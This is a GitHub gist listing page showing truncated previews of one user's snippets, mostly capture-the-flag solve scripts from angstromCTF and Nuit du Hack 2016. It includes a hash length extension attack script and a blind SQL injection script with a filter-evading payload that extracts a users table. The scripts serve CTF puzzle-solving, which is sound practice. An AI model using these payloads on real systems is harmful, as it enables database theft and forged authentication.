Skip to content

Instantly share code, notes, and snippets.

View st98's full-sized avatar

st98 st98

View GitHub Profile
@st98
st98 / solve.c
Created April 18, 2016 16:02
angstromCTF 2016 - [crypto 160] My Accountant
// gcc -O3 solve.c -o solve
#include <stdio.h>
int sBox[4][16] = {
{ 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9 },
{ 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6 },
{ 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14 },
{ 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3 }
};
int sBoxInv[4][16] = {
{ 13, 3, 0, 10, 2, 9, 7, 4, 8, 15, 5, 6, 1, 12, 14, 11 },
@st98
st98 / solve.py
Last active April 18, 2016 15:36
angstromCTF 2016 - [web 140] Flag Locker
import time
import hashpumpy # https://github.com/bwall/HashPump
import requests
from urllib.parse import quote
url = 'http://web.angstromctf.com:1340/'
t = hex(int(time.time()))[2:]
hash, data = hashpumpy.hashpump('3eb9feb38c75cae1d4526ba7f7b91393b190ef48d5bd3502711a1fc23cba2ff3', '5709b5ed', t, 64)
print(requests.post(url, data={
'data': quote(hash.encode() + data).replace('%80', '%C2%80')
}).content.decode('ascii'))
@st98
st98 / solve.py
Last active April 4, 2016 21:01
Nuit du Hack CTF Quals 2016 - [web 300] Spacesec
import requests
def check(s):
return b'1108' in s
payload = "1 Procedure Analyse (Extractvalue (0, case when (Select substr(c.b, {}, 1) <= 0x{:02x} From (Select 0x41 a,0x42 b Union Select * From users limit 1 offset 3)c) then 0x2f else 0x40 end), 1)#".replace(' ', '%a0').replace('#', '%23')
url = 'http://spacesec.quals.nuitduhack.com/index.php?offset='
result = ''
i = 1
@st98
st98 / a.js
Last active February 9, 2016 20:42
['2 1 14 16 23 20', '2 1 15 6 4 23', '2 1 15 6 8 6'].forEach(function (s) {
console.log(parseInt(s.split(' ').map(function (n) {
return parseInt(n, 10).toString(25);
}).join(''), 25));
});
Notification.requestPermission(function callback(res) {
if (res === 'denied' || res === 'default') {
console.error('ア');
return;
}
window.setTimeout(function () {
new Notification('title', {body: 'body'});
}, 3000);
});
@st98
st98 / orig.js
Last active October 11, 2015 00:37
:orig
javascript:location.href=location.href.match(/(.+?)(?::[0-9A-Za-z]+)?$/)[1]+':orig';
if (!(String.prototype.startsWith)) {
String.prototype.startsWith = function (s) {
return this.slice(0, s.length) === s;
};
}
function output(url) {
var out = document.getElementById('output');
var img = new Image();
img.src = url;
img.addEventListener('load', function () {
@st98
st98 / wakaba.js
Last active August 29, 2015 14:25
/わかば*ガール/.test('わかばばばばガール')
@st98
st98 / rep_stosd.c
Last active August 29, 2015 14:22
rep stosd
// gcc -masm=intel rep_stosd.c -o a
#include <stdio.h>
char s[16] = "Hello, world!";
int main(void) {
printf("[+] %s\n", s);
asm volatile(
"mov eax, 0x44434241;"
"mov ecx, 0x2;"
"lea edi, [s];"
"rep stosd"
class Complex
constructor: (re=0, im=0) ->
if not(this instanceof Complex)
return new Complex re, im
this.re = re
this.im = im
conjugate: (other) ->
new Complex @re, -@im
add: (other) ->
[re, im] = [@re + other.re, @im + other.im]